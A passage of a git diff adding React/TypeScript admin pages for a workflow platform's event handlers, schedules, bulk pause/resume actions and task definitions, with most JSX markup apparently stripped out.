"tags", + label: "Tags", + searchable: true, + searchableFunc: (tags: TagDto[]) => createSearchableTags(tags), + renderer: TagsRenderer, + grow: 2, + tooltip: "The tags associated with the event handler", + }, + ] + : []), + { + id: "active", + name: "active", + label: "Status", + searchable: true, + searchableFunc: getStatusLabel, + renderer(status: boolean) { + return ( + + + + ); + }, + }, + { + id: "actions", + name: "actions", + label: "Actions", + sortable: false, + searchable: false, + grow: 0.5, + right: true, + renderer: (__: string, taskRowData: any) => ( + + {taskRowData.active && ( + + handlePauseResumeEvent(taskRowData, false)} + color="primary" + disabled={isTrialExpired} + size="small" + > + + + + )} + {tagsEnabled && ( + + { + setAddTagDialogData({ + tags: taskRowData.tags || [], + itemName: taskRowData.name, + itemType: "event", + } as TagDialogProps); + setShowAddTagDialog(true); + }} + size="small" + > + + + + )} + {!taskRowData.active && ( + + handlePauseResumeEvent(taskRowData, true)} + color="primary" + size="small" + disabled={isTrialExpired} + > + + + + )} + + { + setConfirmDeleteName(taskRowData?.name); + }} + disabled={isTrialExpired} + size="small" + sx={{ + whiteSpace: "nowrap", + }} + > + + + + + ), + }, + ], + [isTrialExpired, tagsEnabled, handlePauseResumeEvent], + ); + + const deleteEventHandler = useActionWithPath({ + onSuccess: () => { + refetch(); + }, + onError: async (err: Response) => { + logger.error(err); + const errorMessage = + err.status === 403 + ? "You do not have permission to delete this event handler." + : await parseErrorResponse({ + response: err, + module: "event handler", + operation: "deleting", + }); + setToast({ + isOpen: true, + message: errorMessage, + status: "error", + }); + refetch(); + }, + }); + + const handleClickDefineEventHandler = () => { + pushHistory(EVENT_HANDLERS_URL.NEW); + }; + + return ( + + + Event Handler Definitions + + {confirmDeleteName && ( + { + if (selectedChoice) { + // @ts-ignore + deleteEventHandler.mutate({ + method: "delete", + path: encodeURI(`/event/${confirmDeleteName}`), + }); + } + setConfirmDeleteName(""); + }} + message={ + <> + <> + Are you sure you want to delete{" "} + {confirmDeleteName}{" "} + Event Handler definition? This change cannot be undone. +
      + Please type {confirmDeleteName} to confirm +
      + + + } + header="Delete event handler" + valueToBeDeleted={confirmDeleteName} + isInputConfirmation + /> + )} + {toast.isOpen && ( + setToast({ isOpen: false, message: "", status: "" })} + /> + )} + + {tagsEnabled && ( + { + setShowAddTagDialog(false); + setAddTagDialogData(null); + }} + onSuccess={() => { + setShowAddTagDialog(false); + setAddTagDialogData(null); + refetch(); + }} + apiPath={`/event/${addTagDialogData?.itemName}/tags`} + /> + )} + + pushHistory(EVENT_HANDLERS_URL.NEW), + startIcon: , + }, + ]} + /> + } + /> + + + + + + + + + + + + + + + setActiveFilterParam(e.target.value) + } + sx={{ marginLeft: 2 }} + > + {activeFilterGroups.map((item, index) => ( + } + label={item.title} + /> + ))} + + + } + label="Active?:" + sx={{ + marginLeft: 0, + "& .MuiFormControlLabel-label": { + fontWeight: 100, + color: "gray", + }, + }} + /> + + + + + +
      + null} + searchTerm={searchParam} + onSearchTermChange={handleSearchTermChange} + noDataComponent={ + searchParam === "" ? ( + + ) : ( + handleSearchTermChange("")} + /> + ) + } + defaultShowColumns={[ + "name", + "event", + ...(tagsEnabled ? ["tags"] : []), + "actions", + ]} + keyField="name" + data={activeNonActiveFiltered} + columns={columns} + customActions={[ + + + , + ]} + onChangePage={handlePageChange} + paginationDefaultPage={pageParam ? Number(pageParam) : 1} + /> + + + + ); +} diff --git a/ui-next/src/pages/definitions/Scheduler/BulkActionModule.tsx b/ui-next/src/pages/definitions/Scheduler/BulkActionModule.tsx new file mode 100644 index 0000000..927b418 --- /dev/null +++ b/ui-next/src/pages/definitions/Scheduler/BulkActionModule.tsx @@ -0,0 +1,234 @@ +import React, { SyntheticEvent, useState } from "react"; +import { + Box, + Dialog, + DialogActions, + DialogContent, + DialogTitle, + Tab, + Tabs, + Typography, +} from "@mui/material"; +import { useAction } from "utils/query"; +import { + Button, + DataTable, + DropdownButton, + Heading, + LinearProgress, +} from "components"; + +interface TabPanelProps { + children?: React.ReactNode; + index: number; + value: number; +} + +const styles = { + clickSearch: { + width: "100%", + padding: "30px", + paddingBottom: "0px", + display: "block", + textAlign: "center", + }, + paper: { + marginBottom: "30px", + }, + heading: { + marginBottom: "20px", + minHeight: "60px", + }, + controls: { + // padding: 15, + }, + popupIndicator: { + backgroundColor: "red", + }, + banner: { + marginBottom: "15px", + }, + actionBar: { + display: "flex", + alignItems: "center", + paddingRight: "10px", + "&>div, &>p": { + marginRight: "10px", + }, + width: "100%", + justifyContent: "space-between", + }, +}; + +function TabPanel(props: TabPanelProps) { + const { children, value, index, ...other } = props; + + return ( + + ); +} + +export default function BulkActionModule({ + selectedRows, + refetchExecution, + handleError, +}: { + selectedRows: any[]; + refetchExecution: () => void; + handleError: (error: any) => void; +}) { + const selectedIds = selectedRows.map((row) => row.name); + const [results, setResults] = useState(null); + const [tab, setTab] = useState(0); + + const { mutate: pauseAction, isLoading: pauseLoading } = useAction( + `/scheduler/bulk/pause`, + "put", + { onSuccess, onError }, + ); + const { mutate: resumeAction, isLoading: resumeLoading } = useAction( + `/scheduler/bulk/resume`, + "put", + { onSuccess, onError }, + ); + + const isLoading = pauseLoading || resumeLoading; + + function onSuccess(data: any) { + const retval = { + bulkErrorResults: Object.entries(data.bulkErrorResults).map( + ([key, value]) => ({ + name: key, + message: value, + }), + ), + bulkSuccessfulResults: data.bulkSuccessfulResults.map( + (value: string) => ({ + name: value, + }), + ), + }; + setResults(retval); + } + + function onError(error: any) { + handleError(error); + } + + function handleClose() { + setResults(null); + setTab(0); + refetchExecution(); + } + + const handleTabChange = (_event: SyntheticEvent, newValue: number) => { + setTab(newValue); + }; + + return ( + + {selectedRows.length} Schedules Selected. + {/*@ts-ignore*/} + pauseAction({ body: JSON.stringify(selectedIds) }), + }, + { + label: "Resume", + // @ts-ignore + handler: () => resumeAction({ body: JSON.stringify(selectedIds) }), + }, + ]} + > + Bulk Action + + {(results || isLoading) && ( + + + Batch Actions + + + {isLoading && } + {results && ( + + + + + + + + + 15} + /> + + + 15} + /> + + + )} + + + + + + )} + + ); +} diff --git a/ui-next/src/pages/definitions/Scheduler/Schedules.tsx b/ui-next/src/pages/definitions/Scheduler/Schedules.tsx new file mode 100644 index 0000000..320b435 --- /dev/null +++ b/ui-next/src/pages/definitions/Scheduler/Schedules.tsx @@ -0,0 +1,941 @@ +import { + Box, + FormControl, + FormControlLabel, + Grid, + Radio, + RadioGroup, + Tooltip, +} from "@mui/material"; +import { + CopySimple as CopyIcon, + Trash as DeleteIcon, + PauseCircle as PauseIcon, + ArrowClockwise as RefreshIcon, + Tag as TagIcon, +} from "@phosphor-icons/react"; +import { Button, DataTable, IconButton, NavLink } from "components"; +import { ColumnCustomType } from "components/ui/DataTable/types"; +import Header from "components/ui/Header"; +import NoDataComponent from "components/ui/NoDataComponent"; +import Paper from "components/ui/Paper"; +import { SnackbarMessage } from "components/ui/SnackbarMessage"; +import TagChip from "components/ui/TagChip"; +import ConfirmChoiceDialog from "components/ui/dialogs/ConfirmChoiceDialog"; +import AddTagDialog from "components/features/tags/AddTagDialog"; +import ConductorInput from "components/ui/inputs/ConductorInput"; +import TagList from "components/ui/TagList"; +import AddIcon from "components/icons/AddIcon"; +import PlayIcon from "components/icons/PlayIcon"; +import cronstrue from "cronstrue"; +import _debounce from "lodash/debounce"; +import { useSaveSchedule } from "pages/scheduler/schedulerHooks"; +import { useCallback, useEffect, useMemo, useState } from "react"; +import { Helmet } from "react-helmet"; +import { useQueryState } from "react-router-use-location-state"; +import SectionContainer from "components/ui/layout/SectionContainer"; +import SectionHeader from "components/layout/SectionHeader"; +import SectionHeaderActions from "components/ui/layout/SectionHeaderActions"; +import { useAuth } from "components/features/auth"; +import { colors } from "theme/tokens/variables"; +import { PopoverMessage } from "types/Messages"; +import { IScheduleDto, IStartWorkflowRequest } from "types/Schedulers"; +import { TagDto } from "types/Tag"; +import { HTTPMethods } from "types/TaskType"; +import { getSequentiallySuffix, logger } from "utils"; +import { + ACTIVE_FILTER_QUERY_PARAM, + generateForbiddenMessage, +} from "utils/constants/common"; +import { SCHEDULER_DEFINITION_URL } from "utils/constants/route"; +import { + useGetSchedulerDefinitions, + useGetSchedulerDefinitionsWithPagination, + SchedulerSearchParams, +} from "utils/hooks/useGetSchedulerDefinitions"; +import { usePushHistory } from "utils/hooks/usePushHistory"; +import { useActionWithPath } from "utils/query"; +import { featureFlags, FEATURES } from "utils/flags"; +import { createSearchableTags } from "utils/utils"; +import CloneScheduleDialog from "../dialog/CloneScheduleDialog"; +import { + activeFilterGroups, + activeLinkColor, + conditionalRowStyles, + getLinkColor, + pausedLinkColor, + pausedrowColor, +} from "../rowColorHelpers"; +import BulkActionModule from "./BulkActionModule"; + +const INTRO_CONTENT = `Schedulers help you automate workflow execution using cron expressions. Set up recurring workflows with precise timing control, perfect for batch processing, periodic data syncs, or any time-based automation needs. + +Read more: +* [Developer Guides: Scheduling Workflows](https://orkes.io/content/developer-guides/scheduling-workflows) +* [Schedule API Reference](https://orkes.io/content/reference-docs/api/schedule) +`; + +const getNameAndVersion = (workflow: IStartWorkflowRequest | undefined) => { + if (!workflow) { + return "Undefined Workflow"; + } + return workflow.version !== undefined + ? `${workflow.name} - Version: ${workflow.version}` + : `${workflow.name} - Latest`; +}; + +const customSortForWorkflowColumn = ( + rowA: IScheduleDto, + rowB: IScheduleDto, +) => { + const nameWithVersionA = getNameAndVersion(rowA.startWorkflowRequest); + const nameWithVersionB = getNameAndVersion(rowB.startWorkflowRequest); + return nameWithVersionA + .toLowerCase() + .localeCompare(nameWithVersionB.toLowerCase()); +}; + +const searchableWorkflow = (workflow: IStartWorkflowRequest) => { + return workflow.version !== undefined + ? `${workflow.name} - Version: ${workflow.version}` + : `${workflow.name} - Latest`; +}; + +const columns = [ + { + id: "cronExpression", + name: "cronExpression", + label: "Cron expression", + renderer: (cron: string) => { + if (!cron) { + return ""; + } + return ( + + {cron ? cronstrue.toString(cron) : ""} + + ); + }, + tooltip: "Cron expression", + sortable: false, + }, + { + id: "name", + name: "name", + label: "Schedule name", + sortable: true, + renderer: (val: string, row: IScheduleDto) => ( + + {val.trim()} + + ), + grow: 1.3, + tooltip: "The name of the schedule", + }, + { + id: "nextRunTime", + name: "nextRunTime", + label: "Next run time", + type: ColumnCustomType.DATE, + sortable: false, + grow: 1, + tooltip: "The next time the schedule will run", + }, + { + id: "tags", + name: "tags", + label: "Tags", + searchable: true, + sortable: false, + searchableFunc: (tags: TagDto[]) => createSearchableTags(tags), + renderer: (tags: TagDto[], row: IScheduleDto) => ( + + ), + grow: 1, + tooltip: "Tags associated with the schedule", + }, + { + id: "startWorkflowRequest", + name: "startWorkflowRequest", + label: "Workflow", + sortable: true, + grow: 1.5, + searchableFunc: (workflow: IStartWorkflowRequest) => + searchableWorkflow(workflow), + renderer: (val: IStartWorkflowRequest) => { + if (val.version !== undefined) { + return `${val.name} - Version: ${val.version}`; + } else { + return `${val.name} - Latest`; + } + }, + sortFunction: customSortForWorkflowColumn, + tooltip: "The workflow associated with the schedule", + }, + { + id: "createTime", + name: "createTime", + label: "Created time", + type: ColumnCustomType.DATE, + sortable: true, + tooltip: "The time the schedule was created", + }, + { + id: "lastRunTimeInEpoch", + name: "lastRunTimeInEpoch", + label: "Last Run time", + type: ColumnCustomType.DATE, + sortable: false, + tooltip: "The last time the schedule ran", + }, + { + id: "createdBy", + name: "createdBy", + label: "Created by", + grow: 1, + sortable: false, + tooltip: "The user who created the schedule", + }, + { + id: "updatedBy", + name: "updatedBy", + label: "Updated by", + grow: 1, + sortable: false, + tooltip: "The user who last updated the schedule", + }, + { + id: "paused", + name: "active", + label: "Status", + grow: 0.5, + minWidth: "120px", + tooltip: "The status of the schedule", + renderer: (val: boolean) => { + return ( + + + + ); + }, + }, + { + id: "workflowExecutionsLink", + name: "name", + selector: (row: IScheduleDto) => row.name, + label: "Workflow executions", + searchable: false, + grow: 1, + sortable: false, + tooltip: "The workflow executions associated with the schedule", + renderer: (name: string, rec: IScheduleDto) => ( + + Workflow query + + ), + }, + { + id: "schedulerExecutionsLink", + name: "name", + selector: (row: IScheduleDto) => row.name, + label: "Scheduler executions", + searchable: false, + sortable: false, + grow: 1, + tooltip: "The scheduler executions associated with the schedule", + renderer: (name: string, rec: IScheduleDto) => ( + + Scheduler query + + ), + }, +]; + +export default function ScheduleDefinitions() { + const [selectedRows, setSelectedRows] = useState([]); + const [toggleCleared, setToggleCleared] = useState(false); + + // Pagination state + const [page, setPage] = useState(1); + const [rowsPerPage, setRowsPerPage] = useState(15); + const [sort, setSort] = useState(undefined); + const [searchInput, setSearchInput] = useState(""); + const [searchTerm, setSearchTerm] = useState(""); + + const { isTrialExpired } = useAuth(); + const tagsEnabled = featureFlags.isEnabled(FEATURES.TAG_VISIBILITY); + const [toast, setToast] = useState({ + isOpen: false, + message: "", + status: "", + }); + + const initialState = { + confirmationDialogDeleteOpen: false, + scheduleName: "", + }; + const [deleteScheduleState, setDeleteScheduleState] = useState(initialState); + const [errorMessage, setErrorMessage] = useState(""); + const [selectedSchedule, setSelectedSchedule] = useState( + null, + ); + const [toastMessage, setToastMessage] = useState(null); + + const [activeFilterParam, setActiveFilterParam] = useQueryState( + ACTIVE_FILTER_QUERY_PARAM, + "all", + ); + + // Build search params for pagination + const searchParams: SchedulerSearchParams = useMemo(() => { + const params: SchedulerSearchParams = { + start: (page - 1) * rowsPerPage, + size: rowsPerPage, + }; + + if (sort) { + params.sort = sort; + } + + if (searchTerm) { + params.name = searchTerm; + } + + // Map active filter to paused parameter + if (activeFilterParam === "yes") { + params.paused = false; // Active schedules (not paused) + } else if (activeFilterParam === "no") { + params.paused = true; // Inactive schedules (paused) + } + // If "all", don't set paused parameter + + return params; + }, [page, rowsPerPage, sort, searchTerm, activeFilterParam]); + + const { + data: paginatedData, + isFetching, + refetch, + } = useGetSchedulerDefinitionsWithPagination(searchParams); + + // For backward compatibility with clone dialog (fetch all schedule names) + const { data: allSchedulesData } = useGetSchedulerDefinitions(); + + const resetSelectedRows = useCallback(() => { + setSelectedRows([]); + setToggleCleared((t) => !t); + }, []); + + // Reload the table and drop any stale row selection. + const refetchAndResetSelection = useCallback(() => { + resetSelectedRows(); + return refetch(); + }, [refetch, resetSelectedRows]); + + const handleFetchError = async (error: Response, method: HTTPMethods) => { + logger.error("[Schedules.tsx][handleFetchError] Error:", error); + + if (error.status >= 400) { + switch (error.status) { + case 403: + setErrorMessage(generateForbiddenMessage(method)); + break; + default: { + // Check if the response is JSON + const isJSON = error.headers + .get("content-type") + ?.includes("application/json"); + const response = isJSON ? await error.json() : await error.text(); + + setErrorMessage(isJSON ? response?.message : response); + } + } + } + + refetchAndResetSelection(); + }; + + const pushHistory = usePushHistory(); + + const { mutate: saveSchedule, isLoading: isSavingSchedule } = useSaveSchedule( + { + onSuccess: () => { + refetchAndResetSelection(); + setSelectedSchedule(null); + setToastMessage({ + text: "Schedule cloned successfully", + severity: "success", + }); + }, + + onError: (error: Response) => handleFetchError(error, HTTPMethods.POST), + }, + ); + + const deleteScheduleAction = useActionWithPath({ + onSuccess: () => { + refetchAndResetSelection(); + }, + onError: (error: Response) => handleFetchError(error, HTTPMethods.DELETE), + }); + + const [addTagDialogData, setAddTagDialogData] = useState( + null, + ); + const [showAddTagDialog, setShowAddTagDialog] = useState(false); + + // Transform paginated data to add 'active' field + const schedules = useMemo(() => { + if (paginatedData?.results) { + return paginatedData.results.map((schedule) => ({ + ...schedule, + active: !schedule.paused, + })); + } + return []; + }, [paginatedData]); + + const scheduleNames: string[] = useMemo( + () => + allSchedulesData + ? allSchedulesData.map((schedule: IScheduleDto) => schedule.name) + : [], + [allSchedulesData], + ); + + const totalCount = paginatedData?.totalHits ?? 0; + + const pauseScheduleAction = useActionWithPath({ + onSuccess: () => { + refetchAndResetSelection(); + }, + onError: (error: Response) => handleFetchError(error, HTTPMethods.GET), + }); + + const handlePauseSchedule = useCallback( + (scheduleName: string) => { + if (scheduleName) { + // @ts-ignore + pauseScheduleAction.mutate({ + method: "get", + path: `/scheduler/schedules/${scheduleName}/pause`, + }); + setToast({ + isOpen: true, + message: `${scheduleName} is now paused.`, + status: "paused", + }); + } + }, + [pauseScheduleAction], + ); + + const handleResumeSchedule = useCallback( + (scheduleName: string) => { + if (scheduleName) { + // @ts-ignore + pauseScheduleAction.mutate({ + method: "get", + path: `/scheduler/schedules/${scheduleName}/resume`, + }); + setToast({ + isOpen: true, + message: `${scheduleName} is now running.`, + status: "running", + }); + } + }, + [pauseScheduleAction], + ); + + const deleteSchedule = (name: string) => { + if (name && name !== "") { + setDeleteScheduleState((prevState) => ({ + ...prevState, + confirmationDialogDeleteOpen: true, + scheduleName: name, + })); + } else { + logger.log( + "No schedule selected for deletion. Unable to recognize name from the definition.", + ); + } + }; + + const handleDeleteScheduleConfirmation = (val: boolean) => { + setDeleteScheduleState(initialState); + if (val) { + // @ts-ignore + deleteScheduleAction.mutate({ + method: "delete", + path: `/scheduler/schedules/${deleteScheduleState.scheduleName}`, + }); + } + }; + + const renderColumns = useMemo( + () => [ + ...columns.filter((col) => col.id !== "tags" || tagsEnabled), + { + id: "actions", + name: "name", + selector: (row: IScheduleDto) => row.name, + label: "Actions", + right: true, + sortable: false, + searchable: false, + grow: 0.5, + minWidth: "160px", + renderer: (name: string, row: IScheduleDto) => ( + + {row.active && ( + + handlePauseSchedule(name)} + color="primary" + disabled={isTrialExpired} + size="small" + sx={{ + whiteSpace: "nowrap", + }} + > + + + + )} + + {!row.active && ( + + handleResumeSchedule(name)} + color="primary" + disabled={isTrialExpired} + size="small" + sx={{ + whiteSpace: "nowrap", + }} + > + + + + )} + + + setSelectedSchedule(row)} + size="small" + disabled={isTrialExpired} + sx={{ + whiteSpace: "nowrap", + }} + > + + + + + {tagsEnabled && ( + + { + setAddTagDialogData(row); + setShowAddTagDialog(true); + }} + size="small" + sx={{ + whiteSpace: "nowrap", + }} + > + + + + )} + + + deleteSchedule(name)} + size="small" + sx={{ + whiteSpace: "nowrap", + }} + > + + + + + ), + }, + ], + [handlePauseSchedule, handleResumeSchedule, isTrialExpired, tagsEnabled], + ); + + const handleClickDefineSchedule = () => { + pushHistory(SCHEDULER_DEFINITION_URL.NEW); + }; + + const handleError = (error: any) => { + setErrorMessage(error?.message); + }; + + // Pagination handlers + const handlePageChange = (newPage: number) => { + setPage(newPage); + resetSelectedRows(); + }; + + const handleRowsPerPageChange = (newRowsPerPage: number) => { + setRowsPerPage(newRowsPerPage); + setPage(1); // Reset to first page when changing rows per page + resetSelectedRows(); + }; + + const handleSort = (column: any, sortDirection: string) => { + if (column.id) { + // Format: "fieldName:ASC" or "fieldName:DESC" + const sortParam = `${column.id}:${sortDirection.toUpperCase()}`; + setSort(sortParam); + setPage(1); // Reset to first page when sorting + resetSelectedRows(); + } + }; + + const debouncedSetSearchTerm = useMemo( + () => + _debounce((value: string) => { + setSearchTerm(value); + setPage(1); // Reset to first page when searching + resetSelectedRows(); + }, 250), + [resetSelectedRows], + ); + + useEffect(() => { + return () => { + debouncedSetSearchTerm.cancel(); + }; + }, [debouncedSetSearchTerm]); + + const handleSearchTermChange = (value: string) => { + setSearchInput(value); + debouncedSetSearchTerm(value); + }; + + const handleActiveFilterChange = (value: string) => { + setActiveFilterParam(value); + setPage(1); // Reset to first page when the filter changes + resetSelectedRows(); + }; + + return ( + <> + + Workflow Scheduler Definitions + + {errorMessage && ( + setErrorMessage("")} + /> + )} + {toast.isOpen && ( + setToast({ isOpen: false, message: "", status: "" })} + anchorOrigin={{ + vertical: "bottom", + horizontal: "right", + }} + /> + )} + {deleteScheduleState.confirmationDialogDeleteOpen && ( + + handleDeleteScheduleConfirmation(val) + } + message={ + <> + Are you sure you want to delete{" "} + + {deleteScheduleState.scheduleName} + {" "} + schedule definition? This action cannot be undone. +
      + Please type {deleteScheduleState.scheduleName}{" "} + to confirm. +
      + + } + header={"Deletion confirmation"} + isInputConfirmation + valueToBeDeleted={deleteScheduleState.scheduleName} + /> + )} + + {tagsEnabled && ( + { + setShowAddTagDialog(false); + }} + onSuccess={() => { + setShowAddTagDialog(false); + refetchAndResetSelection(); + }} + apiPath={`/scheduler/schedules/${addTagDialogData?.name}/tags`} + /> + )} + + {selectedSchedule && ( + setSelectedSchedule(null)} + onSuccess={({ name }) => { + // @ts-ignore + saveSchedule({ + body: JSON.stringify({ ...selectedSchedule, name }), + }); + }} + scheduleNames={scheduleNames} + isFetching={isSavingSchedule} + /> + )} + pushHistory(SCHEDULER_DEFINITION_URL.NEW), + startIcon: , + }, + ]} + /> + } + /> + + {/*@ts-ignore*/} + + + + + + + + + + + + + + handleActiveFilterChange(e.target.value) + } + sx={{ marginLeft: 2 }} + > + {activeFilterGroups.map((item, index) => ( + } + label={item.title} + /> + ))} + + + } + label="Status:" + sx={{ + marginLeft: 0, + "& .MuiFormControlLabel-label": { + fontWeight: 100, + color: "gray", + }, + }} + /> + + + + + +
      + {schedules != null && paginatedData != null && ( + + + + , + ]} + pagination + paginationServer + paginationTotalRows={totalCount} + paginationDefaultPage={page} + paginationPerPage={rowsPerPage} + onChangePage={handlePageChange} + onChangeRowsPerPage={handleRowsPerPageChange} + sortServer + defaultSortFieldId={sort ? undefined : "createTime"} + defaultSortAsc={false} + onSort={handleSort} + selectableRows + contextComponent={ + + } + onSelectedRowsChange={({ selectedRows }) => + setSelectedRows(selectedRows) + } + clearSelectedRows={toggleCleared} + customStyles={{ + header: { + style: { + overflow: "visible", + }, + }, + contextMenu: { + style: { + display: "none", + }, + activeStyle: { + display: "flex", + }, + }, + }} + noDataComponent={ + + } + /> + + )} + + + {toastMessage && ( + { + setToastMessage(null); + }} + /> + )} + + ); +} diff --git a/ui-next/src/pages/definitions/Task.tsx b/ui-next/src/pages/definitions/Task.tsx new file mode 100644 index 0000000..a041dbb --- /dev/null +++ b/ui-next/src/pages/definitions/Task.tsx @@ -0,0 +1,563 @@ +import { Box, Tooltip } from "@mui/material"; +import { + CopySimple as CopyIcon, + Trash as DeleteIcon, + ArrowClockwise as RefreshIcon, + Tag as TagIcon, +} from "@phosphor-icons/react"; +import { Button, DataTable, IconButton, NavLink, Paper } from "components"; +import { ColumnCustomType } from "components/ui/DataTable/types"; +import ConfirmChoiceDialog from "components/ui/dialogs/ConfirmChoiceDialog"; +import Header from "components/ui/Header"; +import NoDataComponent from "components/ui/NoDataComponent"; +import { SnackbarMessage } from "components/ui/SnackbarMessage"; +import TagChip from "components/ui/TagChip"; +import AddTagDialog, { + TagDialogProps, +} from "components/features/tags/AddTagDialog"; +import AddIcon from "components/icons/AddIcon"; +import { MessageContext } from "components/providers/messageContext"; +import { useCallback, useContext, useMemo, useState } from "react"; +import { Helmet } from "react-helmet"; +import { useAuth } from "components/features/auth"; +import SectionContainer from "components/ui/layout/SectionContainer"; +import SectionHeader from "components/layout/SectionHeader"; +import SectionHeaderActions from "components/ui/layout/SectionHeaderActions"; +import { colors } from "theme/tokens/variables"; +import { TaskDto } from "types"; +import { PopoverMessage } from "types/Messages"; +import { TagDto } from "types/Tag"; +import { NEW_TASK_DEF_URL, TASK_DEF_URL } from "utils/constants/route"; +import { featureFlags, FEATURES } from "utils/flags"; +import { parseErrorResponse } from "utils/helpers"; +import useCustomPagination from "utils/hooks/useCustomPagination"; +import { usePushHistory } from "utils/hooks/usePushHistory"; +import { logger } from "utils/logger"; +import { useAction, useActionWithPath, useFetch } from "utils/query"; +import { getSequentiallySuffix } from "utils/strings"; +import { createSearchableTags } from "utils/utils"; +import CloneDialog from "./dialog/CloneDialog"; +import TagList from "components/ui/TagList"; + +const INTRO_CONTENT = `A **task definition** defines the task's default parameters, such as input/output schemas, timeouts, and retries. +This provides reusability and modularity across workflows. + +The task definition names match the name of your workers. + +These defaults can be overridden by the **Task Configuration** section in a workflow. + +Read more: + +* [Core Concepts: Tasks](https://orkes.io/content/core-concepts#task-definition) +* [Developer Guides: Tasks](https://orkes.io/content/developer-guides/tasks) +* [Task Definition API Docs](https://orkes.io/content/reference-docs/api/metadata/creating-task-definitions) +`; + +export default function TaskDefinitions() { + const [confirmDeleteName, setConfirmDeleteName] = useState(""); + const [showAddTagDialog, setShowAddTagDialog] = useState(false); + const [addTagDialogData, setAddTagDialogData] = + useState(null); + const [{ pageParam, searchParam }, { setSearchParam, handlePageChange }] = + useCustomPagination(); + + const [selectedTask, setSelectedTask] = useState(null); + const [toastMessage, setToastMessage] = useState(null); + + const { setMessage } = useContext(MessageContext); + const { isTrialExpired } = useAuth(); + const tagsEnabled = featureFlags.isEnabled(FEATURES.TAG_VISIBILITY); + + const columns = useMemo( + () => [ + { + id: "name", + name: "name", + label: "Task name", + renderer: (name: string) => ( + + {name} + + ), + tooltip: "Task name", + }, + { + id: "executable", + name: "executable", + label: "Executable?", + renderer: (executable: boolean) => ( + + ), + tooltip: + "Tasks marked as Yes are available for you to execute. If you need access to execute any other task, please contact the task owner or your Administrator.", + }, + { + id: "description", + name: "description", + label: "Description", + grow: 2, + tooltip: "Task description", + }, + { + id: "createTime", + name: "createTime", + label: "Created time", + type: ColumnCustomType.DATE, + tooltip: "Task created time", + }, + { + id: "ownerEmail", + name: "ownerEmail", + label: "Owner email", + tooltip: "Task owner email", + }, + { + id: "inputKeys", + name: "inputKeys", + label: "Input keys", + type: ColumnCustomType.JSON, + sortable: false, + tooltip: "Task input keys", + }, + { + id: "outputKeys", + name: "outputKeys", + label: "Output keys", + type: ColumnCustomType.JSON, + sortable: false, + tooltip: "Task output keys", + }, + { + id: "timeoutPolicy", + name: "timeoutPolicy", + label: "Timeout policy", + grow: 0.5, + tooltip: "Task timeout policy", + }, + { + id: "timeoutSeconds", + name: "timeoutSeconds", + label: "Timeout seconds", + grow: 0.5, + tooltip: "Task timeout seconds", + }, + { + id: "retryCount", + name: "retryCount", + label: "Retry count", + grow: 0.5, + tooltip: "Task retry count", + }, + { + id: "retryLogic", + name: "retryLogic", + label: "Retry logic", + tooltip: "Task retry logic", + }, + { + id: "retryDelaySeconds", + name: "retryDelaySeconds", + label: "Retry delay seconds", + grow: 0.5, + tooltip: "Task retry delay seconds", + }, + { + id: "responseTimeoutSeconds", + name: "responseTimeoutSeconds", + label: "Response timeout seconds", + grow: 0.5, + tooltip: "Task response timeout seconds", + }, + { + id: "inputTemplate", + name: "inputTemplate", + label: "Input template", + type: ColumnCustomType.JSON, + sortable: false, + tooltip: "Task input template", + }, + { + id: "rateLimitPerFrequency", + name: "rateLimitPerFrequency", + label: "Rate limit per freq", + grow: 0.5, + tooltip: "Task rate limit per frequency", + }, + { + id: "rateLimitFrequencyInSeconds", + name: "rateLimitFrequencyInSeconds", + label: "Rate limit freq in seconds", + grow: 0.5, + tooltip: "Task rate limit frequency in seconds", + }, + ...(tagsEnabled + ? [ + { + id: "tags", + name: "tags", + label: "Tags", + searchable: true, + tooltip: "Task tags", + searchableFunc: (tags: TagDto[]) => createSearchableTags(tags), + renderer: (tags: TagDto[], row: TaskDto) => ( + + ), + grow: 2, + }, + ] + : []), + { + id: "actions", + name: "name", + label: "Actions", + sortable: false, + searchable: false, + grow: 0.5, + minWidth: "130px", + tooltip: "Actions that can be performed on the task definition", + renderer: (name: string, taskRowData: TaskDto) => ( + + + setSelectedTask(taskRowData)} + disabled={isTrialExpired} + size="small" + sx={{ + whiteSpace: "nowrap", + }} + > + + + + + {tagsEnabled && ( + + { + setAddTagDialogData({ + open: true, + apiPath: "", + onClose(): void {}, + onSuccess(): void {}, + tags: taskRowData.tags || [], + itemName: taskRowData.name, + itemType: "task", + }); + setShowAddTagDialog(true); + }} + size="small" + > + + + + )} + + + { + setConfirmDeleteName(name); + }} + size="small" + color="error" + sx={{ + whiteSpace: "nowrap", + }} + > + + + + + ), + }, + ], + [isTrialExpired, tagsEnabled], + ); + + const taskVisibility = featureFlags.getValue( + FEATURES.TASK_VISIBILITY, + "READ", + ); + const pushHistory = usePushHistory(); + const { + data: visibilityData, + isFetching, + refetch, + } = useFetch(`/metadata/taskdefs?access=${taskVisibility}&metadata=true`); + + const { + data: readonlyData, + isFetching: isReadonlyDataFetching, + refetch: refetchReadonlyData, + } = useFetch(`/metadata/taskdefs?access=READ&metadata=true`); + + const refetchData = () => { + refetch(); + refetchReadonlyData(); + }; + + const deleteTaskDefinitionAction = useActionWithPath({ + onSuccess: () => { + refetchData(); + }, + onError: async (err: any) => { + const message = await err?.json(); + setMessage({ + text: message?.message, + severity: "error", + }); + logger.error(err); + refetchData(); + }, + }); + + const tableData = useMemo( + () => + readonlyData && visibilityData + ? readonlyData.reduce((result: TaskDto[], currentItem: TaskDto) => { + const executable = + visibilityData.findIndex( + (item: TaskDto) => item.name === currentItem.name, + ) > -1; + result.push({ + createTime: !currentItem.createTime ? 0 : currentItem.createTime, + ...currentItem, + executable, + }); + + return result; + }, []) + : [], + [visibilityData, readonlyData], + ); + + const handleSearchTermChange = useCallback( + (searchTerm: string) => { + setSearchParam(searchTerm); + }, + [setSearchParam], + ); + + const handleClickDefineTask = () => { + pushHistory(NEW_TASK_DEF_URL); + }; + + const taskNameList: string[] = useMemo( + () => (tableData ? tableData.map((task: TaskDto) => task.name) : []), + [tableData], + ); + + const { mutate: saveTask, isLoading: isSavingTask } = useAction( + "/metadata/taskdefs", + "post", + { + onSuccess: () => { + refetchData(); + setSelectedTask(null); + setToastMessage({ + text: "Task cloned successfully", + severity: "success", + }); + }, + onError: async (error: Response) => { + logger.error(error); + const errorMessage = await parseErrorResponse({ + response: error, + module: "task", + operation: "cloning", + }); + setToastMessage({ + text: errorMessage, + severity: "error", + }); + }, + }, + ); + + return ( + <> + + Task Definitions + + + {selectedTask && ( + setSelectedTask(null)} + onSuccess={({ name }) => { + const newTaskDefinition = { ...selectedTask, name }; + // @ts-ignore + 